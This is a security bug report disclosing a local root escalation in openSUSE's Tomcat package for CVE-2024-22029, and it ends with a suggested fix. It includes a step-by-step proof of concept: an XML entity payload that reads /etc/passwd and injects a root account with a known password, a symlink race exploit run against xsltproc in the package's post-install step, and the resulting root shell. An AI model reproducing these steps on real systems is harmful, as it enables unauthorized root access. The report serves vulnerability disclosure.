Bug 1219208 (CVE-2024-22029)

The group tomcat (default group of user tomcat) can escalate to root because of the current permissions in the tomcat packaging.

POC and explanation:
sh-5.2$ id
uid=455(tomcat) gid=455(tomcat) groups=455(tomcat)
sh-5.2$ pwd
/usr/share/tomcat/tomcat-webapps

/usr/share/tomcat/tomcat-webapps is writeable for the tomcat group:
drwxrwxr-x 1 root tomcat 208 Jan 20 22:27 tomcat-webapps

sh-5.2$ mv examples examples_orig
sh-5.2$ mkdir -p /usr/share/tomcat/tomcat-webapps/examples/META-INF

now /usr/share/tomcat/tomcat-webapps/examples/META-INF can be written

sh-5.2$ cat << 'EOF' > /usr/share/tomcat/tomcat-webapps/examples/META-INF/context.xml
> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
> <lastName>
> newroot:$1$ggDt1EGc$SpOckvmrIQOqiO2Cyvux0/:0:0:root:/root:/bin/zsh
> &ent;</lastName>
> EOF

This will write the current content of /etc/passwd + a new root account with a known password.

sh-5.2$ cd /usr/share/tomcat/tomcat-webapps/examples/META-INF
sh-5.2$ /tmp/exploit context.xml /etc/passwd 100
[+] skipping 100 usecs
[+] watching context.xml
^C

The exploit uses inotify to wait for the access to context.xml, then sleeps for some time and replaces the xml file for a symlink to /etc/passwd.

Now either reinstall the tomcat package to run the %post section or run
xsltproc --output /usr/share/tomcat/tomcat-webapps/examples/META-INF/context.xml /etc/tomcat/allowLinking.xslt /usr/share/tomcat/tomcat-webapps/examples/META-INF/context.xml
as root directly. Stop exploit after xsltproc ran, then become root with password "foobar"

sh-5.2$ su - newroot
Password:
localhost:/usr/share/tomcat/tomcat-webapps/examples/META-INF # id
uid=0(newroot) gid=0(root) groups=0(root)

The problem is that there's a race condition that can be hit. Strace output:
newfstatat(AT_FDCWD, "/usr/share/tomcat/tomcat-webapps/examples/META-INF/context.xml", {st_mode=S_IFREG|0644, st_size=883, ...}, 0) = 0
openat(AT_FDCWD, "/usr/share/tomcat/tomcat-webapps/examples/META-INF/context.xml", O_RDONLY) = 3
newfstatat(AT_FDCWD, "/usr/share/tomcat/tomcat-webapps/ROOT/META-INF", {st_mode=S_IFDIR|0755, st_size=22, ...}, 0) = 0
openat(AT_FDCWD, "/usr/share/tomcat/tomcat-webapps/ROOT/META-INF/context.xml", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3

The first openat call can be used to extract arbitrary data on the system, which is 100% reliable. The second call can be used to write it back if the race is won, which can be tricky (but I got it to work).

Exploit has multiple chances, because these calls exist in the spec file (btw. first one looks like a bug)
xsltproc --output /usr/share/tomcat/tomcat-webapps/ROOT/META-INF/context.xml /etc/tomcat/allowLinking.xslt /usr/share/tomcat/tomcat-webapps/examples/META-INF/context.xml
xsltproc --output /usr/share/tomcat/tomcat-webapps/examples/META-INF/context.xml /etc/tomcat/allowLinking.xslt /usr/share/tomcat/tomcat-webapps/examples/META-INF/context.xml
xsltproc --output /usr/share/tomcat/tomcat-webapps/sample/META-INF/context.xml /etc/tomcat/allowLinking.xslt /usr/share/tomcat/tomcat-webapps/examples/META-INF/context.xml
xsltproc --output /usr/share/tomcat/tomcat-webapps/manager/META-INF/context.xml /etc/tomcat/allowLinking.xslt /usr/share/tomcat/tomcat-webapps/manager/META-INF/context.xml
xsltproc --output /usr/share/tomcat/tomcat-webapps/host-manager/META-INF/context.xml /etc/tomcat/allowLinking.xslt /usr/share/tomcat/tomcat-webapps/host-manager/META-INF/context.xml
xsltproc --output /usr/share/tomcat/tomcat-webapps/docs/META-INF/context.xml /etc/tomcat/allowLinking.xslt /usr/share/tomcat/tomcat-webapps/docs/META-INF/context.xml

openSUSE package is affected. SLE likely too, as the directory permissions are similar, but the tooling called there is different.

Please either make the whole directory tree only writeable for root or run xsltproc as user tomcat